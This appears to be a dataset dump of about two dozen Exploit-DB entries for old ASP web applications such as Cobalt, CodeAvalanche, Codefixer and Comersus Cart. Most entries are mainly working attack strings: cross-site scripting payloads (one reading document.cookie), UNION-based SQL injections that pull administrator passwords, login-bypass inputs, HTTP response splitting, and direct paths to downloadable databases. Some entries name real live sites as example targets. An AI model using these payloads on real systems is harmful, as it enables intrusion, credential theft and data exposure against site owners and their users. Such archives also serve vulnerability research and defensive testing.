deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36284
Description: CmyDocument - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2011-11-03
Author: demonalex

Exploit:
source: https://www.securityfocus.com/bid/50512/info

CmyDocument is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

POST http://www.example.com/login.asp
username="><script>alert(&#039;demonalex&#039;)</script>&[CREDENTIAL_REDACTED]=a&submit=+++Login+++

POST http://www.example.com/login2.asp
username="><script>alert(&#039;demonalex&#039;)</script>&[CREDENTIAL_REDACTED]=a&submit=+++Login+++

http://www.example.com/myDoclist.asp?x_Title=a&z_Title=LIKE&x_Revised=<SCRIPT>alert("demonalex");</SCRIPT>&z_Revised==&x_KeyWords=info&z_KeyWords=LIKE&x_owner=a&z_owner=LIKE

http://www.example.com/myWebDoclist.asp?x_Title=b&z_Title=LIKE&x_Revised=<SCRIPT>alert("demonalex");</SCRIPT>&z_Revised==&x_KeyWords=test&z_KeyWords=LIKE&x_owner=a&z_owner=LIKE
Exploit-DB #5373
Description: Cobalt 0.1 - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2008-04-05
Author: U238

Exploit:
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-

CoBaLT v1.0 Remote SQL Ä°njection Vulnerabiltiy

Discovered : U238

Mail : setuid.noexec0x1@hotmail.com 

WebPage : http://ugur238.org (The End)


Script: http://www.aspindir.com/indir.asp?ID=5414

Script (Alternativ) : http://rapidshare.de/files/39031038/cobaltv.1.zip.html

_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-

Exploit:

http://localhost:2222/lab/cobaltv.1/urun.asp?id=24+union+select+0,1,sifre,3,kadi+from+yonetici

http://localhost:2222/lab/cobaltv.1/admin/bayi_listele.asp?git=duzenle&id=98+union+select+0,1,2,3,sifre,5,kadi,7,8+from+yonetici+where+id=2

----
http://localhost:2222/lab/cobaltv.1/admin/urun_grup_listele.asp?git=duzenle&id=24+union+select+0,kadi+from+yonetici

http://localhost:2222/lab/cobaltv.1/admin/urun_grup_listele.asp?git=duzenle&id=24+union+select+0,sifre+from+yonetici

----

http://localhost:2222/lab/cobaltv.1/admin/urun_listele.asp?id=1+union+select+kadi,sifre,kadi,sifre,sifre+from+yonetici


Admin Panel : localhost/path/admin 

Other Table : bayi - sepet - siparis - siparis_urun - urun - urun_grup - yonetici 


Dork : Sevmem bole seylerÄ± ,  abi anlamÄ±orum ne bos adamlarsÄ±nÄ±z  :( 


Error Code: 

      id=Request.QueryString("id")
 
      SQL="select * from sepet where id="&"id"


Example Site : http://xxx.org/cobaltv1/urun.asp?id=24+union+select+0,1,sifre,3,kadi+from+yonetici

_-_-_-_-_- NURCÄ°HAN _-_-_-_-_- BU SEVDA BÄ°TMEZ _-_-_-_-_- 4 YIL OLDU Amk

Greatz To : The_BekiR _-_ ka0x _-_ Nettoxic _-_ ZeberuS _-_ Str0ke 

# milw0rm.com [2008-04-05]
Exploit-DB #31666
Description: Cobalt 2.0 - 'adminler.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-04-17
Author: U238

Exploit:
source: https://www.securityfocus.com/bid/28831/info

CoBaLT is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CoBaLT 2.0 is affected; other versions may also be vulnerable. 

http://www.example.com/cobalt/cobalt_v2_yonetim/adminler.asp?git=duzenle&id=2+union+select+0,(sifre),(uye),3,null,5,6,7,8+from+admin
http://www.example.com/cobalt/cobalt_v2_yonetim/adminler.asp?git=duzenle&id=2+union+select+0,(sifre),(uye),3,null,5,6,7,8+from+admin+where+id=4
Exploit-DB #36065
Description: Code Widgets DataBound Collapsible Menu - 'main.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2011-08-17
Author: Inj3ct0r

Exploit:
source: https://www.securityfocus.com/bid/49209/info

Code Widgets DataBound Collapsible Menu is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/CS0077/main.asp?key=[sqli]
Exploit-DB #36064
Description: Code Widgets DataBound Index Style Menu - 'category.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2011-08-17
Author: Inj3ct0r

Exploit:
source: https://www.securityfocus.com/bid/49208/info

Code Widgets DataBound Index Style Menu is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/CS0106/category.asp?cat=[sqli]
Exploit-DB #36066
Description: Code Widgets Multiple Question - Multiple Choice Online Questionnaire SQL Injections
Type: webapps
Platform: asp
Date: 2011-08-17
Author: L0rd CrusAd3r

Exploit:
source: https://www.securityfocus.com/bid/49210/info

Code Widgets Multiple Question - Multiple Choice Online Questionaire is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/CS0099/index.asp?Q=2&A=[sqli]
Exploit-DB #36063
Description: Code Widgets Online Job Application - 'admin.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2011-08-17
Author: L0rd CrusAd3r

Exploit:
source: https://www.securityfocus.com/bid/49207/info

Code Widgets Online Job Application is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following example input is available:

Username : ' or 1=1 or ''=''
Password: ' or 1=1 or ''=''
Exploit-DB #7471
Description: CodeAvalanche Articles - Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-15
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: CAArticles
Download : http://www.truecontent.info/codeavalanche/asp-articles-publishing-script.php
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/CAArticles/_private/CAArticles.mdb
 
---------------------------------

# milw0rm.com [2008-12-15]
Exploit-DB #7468
Description: CodeAvalanche Directory - Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-15
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: CADirectory
Download : http://www.truecontent.info/codeavalanche/asp-directory-script.php
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/CAdirectory/_private/CADirectory.mdb
 
---------------------------------

# milw0rm.com [2008-12-15]
Exploit-DB #7469
Description: CodeAvalanche FreeForAll - Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-15
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: CAFFAPAGE
Download : http://www.truecontent.info/codeavalanche/asp-free-for-all-links.php
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/CAFFAPage/_private/CAFFAPage.mdb
 
---------------------------------

# milw0rm.com [2008-12-15]
Exploit-DB #7450
Description: CodeAvalanche FreeForum - Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-14
Author: Ghost Hacker

Exploit:
####################################################################################################
# FreeForum Database Disclosure Vulnerability                                                      #
# Â© Ghost Hacker - REAL-H.COM                                                                      #
####################################################################################################
#[~] Author : Ghost Hacker                                                                         #
#[~] Homepage : http://Real-h.com                                                                  #
#[~] Contact Me : Ghost-r00t[at]Hotmail[dot]com                                                    #
#[~] Name Script : FreeForum                                                                       #
#[~] Download : http://www.truecontent.info/codeavalanche/asp-forum-script.php                     #
####################################################################################################
#[~]Exploit                                                                                        #
# http://xxxx.com/[path]/CAForum/_private/CAForum.mdb                                              #
####################################################################################################
#[~]Greets :           &nbs p;                                                                     #
# Mr.SaFa7 [v4-team.com] , AlpHaNiX , Qabandi                                                      #
# All Members Real-h.com and v4-team.net , All My Friends                                          #
####################################################################################################

# milw0rm.com [2008-12-14]
Exploit-DB #7470
Description: CodeAvalanche FreeWallpaper - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-15
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: CAFreeWallpaper
Download : http://www.truecontent.info/codeavalanche/asp-freewallpaper-script.php
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/CAFreeWallpaper/_private/CAFreeWallpaper.mdb
 
---------------------------------

# milw0rm.com [2008-12-15]
Exploit-DB #27898
Description: CodeAvalanche News 1.2 - 'default.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-05-19
Author: omnipresent

Exploit:
source: https://www.securityfocus.com/bid/18031/info

CodeAvalanche News is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. An attacker can disclose the administrative authentication credentials by exploiting this issue.

CodeAvalanche News 1.2 is reported to be vulnerable. Other versions may be affected as well.

http://www.exmaple.com/[path_of_application]/CANews/Admin/default.asp?password=1' OR '1' = '1&Submit=Login
Exploit-DB #3317
Description: CodeAvalanche News 1.x - 'CAT_ID' SQL Injection
Type: webapps
Platform: asp
Date: 2007-02-15
Author: beks

Exploit:
#CodeAvalanche News SQL Injection#

Software: CodeAvalanche News

Download: http://www.aspindir.com/indir.asp?id=3315

Risk: High

Found by: beks

http://target/[path]/inc_listnews.asp?CAT_ID=17+union+select+0,0,0,0,Password+from+Params

# milw0rm.com [2007-02-15]
Exploit-DB #7472
Description: CodeAvalanche RateMySite - Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-15
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: CARateMySite
Download : http://www.truecontent.info/codeavalanche/asp-rating-script.php
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/_private/CARateMySite.mdb
 
---------------------------------

# milw0rm.com [2008-12-15]
Exploit-DB #7325
Description: Codefixer MailingListPro - Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-02
Author: AlpHaNiX

Exploit:
###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################




---------------------------- Tunisia Muslim ------------------------------




#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org



#contact  : AlpHa[AT]HACKER[DOT]BZ




###########################################################################



#script   : MailingListPro
#version  : FreeEdition
#download : http://www.codefixersoftware.com/downloads/mailinglist.zip






#Exploit :
http://target.com/db/MailingList.mdb


#live example :
http://www.codefixer.com/mailingList/db/MailingList.mdb







#greetz : Zigma , Serh , GHOST-HACKER , UnknOwn

###########################################################################

# milw0rm.com [2008-12-02]
Exploit-DB #10482
Description: Codefixer Membership - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-16
Author: ViRuSMaN

Exploit:
==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|


==============================================================================
        [»] ~ Note : Thx 2 Egyptian National Team
==============================================================================
        [»] Codefixer Membership Remote Database Disclosure Vulnerability
==============================================================================

    [»] Script:             [ Codefixer Membership ]
    [»] Language:           [ ASP ]
    [»] Site page:          [ ASP membership management script system ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & pentestlabs.com  ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

    [»] http://[target].com/[path]/members.mdb

Author: ViRuSMaN <-
Exploit-DB #32611
Description: CodeToad ASP Shopping Cart Script - Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-12-01
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/32568/info

CodeToad ASP Shopping Cart Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/?>"'><ScRiPt>alert(1369)</ScRiPt>
Exploit-DB #30706
Description: CodeWidgets Web Based Alpha Tabbed Address Book - 'index.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-10-24
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/26193/info

CodeWidgets Web Based Alpha Tabbed Address Book is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.asp?alpha=[SQL INJECTION]
Exploit-DB #7353
Description: Cold BBS - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-05
Author: ahmadbady

Exploit:
****(Database Disclosure Vulnerability)****

script: Cold BBS
   
***************************************************************************
download from:http://www.peachydandy.com/scripts/download.php?go=2&file=4&mirror=7
   
***************************************************************************
www.site.com/path/db/cforum.mdb
   
***************************************************


Author: ahmadbady 

my mail: kivi_hacker666@yahoo.com

***************************************************

# milw0rm.com [2008-12-05]
Exploit-DB #7259
Description: Comersus ASP Shopping Cart - File Disclosure / Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-11-27
Author: Bl@ckbe@rD

Exploit:
000000  00000     0000    0000  000  00 000000  0000000   0000  000000  00000
 0    0   0      0    0  0    0  0   0   0    0  0    0  0    0  0    0  0   0
 0    0   0     0  00 0 0        0  0    0    0  0      0  00 0  0    0  0    0
 0    0   0     0 0 0 0 0        0  0    0    0  0  0   0 0 0 0  0    0  0    0
 00000    0     0 0 0 0 0        0 0     00000   0000   0 0 0 0  00000   0    0
 0    0   0     0 0 0 0 0        000     0    0  0  0   0 0 0 0  0  0    0    0
 0    0   0     0  000  0        0  0    0    0  0      0  000   0  0    0    0
 0    0   0   0  0       0    0  0   0   0    0  0    0  0       0   0   0   0
000000  0000000   000     0000  000  00 000000  0000000   000   000  00 00000



[+] Script               : Comersus Cart

[+] Exploit Type         : Multiple Exploits (XSS + remote database disclosure)

[+] Script's Homepage    : http://comersus.com

[+] Google Dork          : inurl:.asp?   Powered by Comersus ASP Shopping Cart

[+] Contact              : blackbeard-sql@hotmail.fr


--//--> Exploit : 

1) Remote Database Disclure :

http://[website]/[script]/database/commersus.mdb


2) Remote XSS exploit : 

In simple words :

http://[website]/[script]/comersus_message.asp?message=<script>alert('Bl@ckbe@rD is not dead yet')</script>[Peace xD ]


[Peace xD ]


//Example for str0ke : 

https://www.tarkentonsports.com/Comersus/database/comersus.mdb

https://www.tarkentonsports.com/Comersus/store/comersus_message.asp?message=%3Cscript%3Ealert(%27Bl@ckbe@rD%20is%20not%20dead%20yet%27)%3C/script%3E[Peace%20xD%20]

# milw0rm.com [2008-11-27]
Exploit-DB #26444
Description: Comersus Backoffice 4.x/5.0/6.0 - 'comersus_Backoffice_supportError.asp?error' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-10-31
Author: _6mO_HaCk

Exploit:
source: https://www.securityfocus.com/bid/15251/info

Comersus BackOfficePlus and BackOfficeLite are prone to multiple input validation and information disclosure vulnerabilities.

The applications are prone to SQL injection attacks, information disclosure and multiple cross-site scripting attacks.

An attacker can exploit these vulnerabilities to retrieve sensitive and privileged information, gain access to the application as an administrative user and perform cross-site scripting attacks to retrieve cookie-based authentication credentials from victim users; other attacks are also possible. 

http://www.example.com/comersus/backofficePlus/comersus_backoffice_supportError.asp?error=<script>alert('vul');</script>
Exploit-DB #26351
Description: Comersus Backoffice Plus - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2005-10-17
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/15118/info

BackOffice Plus is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/backOfficePlus/comersus_backoffice_searchItemForm.asp?forwardTo1=[XSS-CODE]comersus_backoffice_listAssignedCategories.asp&forwardTo2=[XSS-CODE]&nameFT1=[XSS-CODE]Select&nameFT2=[XSS-CODE]
Exploit-DB #25390
Description: Comersus Cart 4.0/5.0 - 'Comersus_Search_Item.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-04-12
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13125/info

Comersus Cart is affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly validate user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/store/comersus_searchItem.asp?strSearch=0&curPage=2">%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #24422
Description: Comersus Cart 5.0 - HTTP Response Splitting
Type: webapps
Platform: asp
Date: 2004-09-01
Author: Maestro De-Seguridad

Exploit:
source: https://www.securityfocus.com/bid/11083/info

Comersus Cart is reported prone to a HTTP response splitting vulnerability. A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted. This could aid in various attacks, which try to entice client users into a false sense of trust.

This issue was identified in Comersus Shopping Cart 5.0991, however, other versions may be affected as well. 

http://www.example.com/path_to_comersus/comersus_customerLoggedVerify.asp?

redirecturl=%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-L

ength:%2028%0d%0a%0d%0a{html}0wned%20by%20me{/html}
Exploit-DB #25060
Description: Comersus Cart 5.0/6.0 - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2005-01-25
Author: raf somers

Exploit:
source: https://www.securityfocus.com/bid/12362/info

Comersus Cart is reportedly affected by multiple vulnerabilities. There is a possiblity of gaining administrator access due to a failure of the application to remove an installation script after install. There is the possiblity of SQL injection by passing a malicious HTTP referer header. There are also some possible cross-site scripting issues.

The vendor has addressed these issues in Comersus Cart version 6.0.2; earlier version are reportedly vulnerable. 

http://www.example.com/comersus/backofficelite/comersus_supportError.asp?error=<script>alert('hi%20mum');</script>
http://www.example.com/comersus/backofficelite/comersus_backofficelite_supportError.asp?error=<script>alert('hi%20mum');</script>

The following proof of concept is available for the SQL injection issue:
GET /comersus/store/default.asp HTTP/1.1
Referer: <SQLCODE HERE>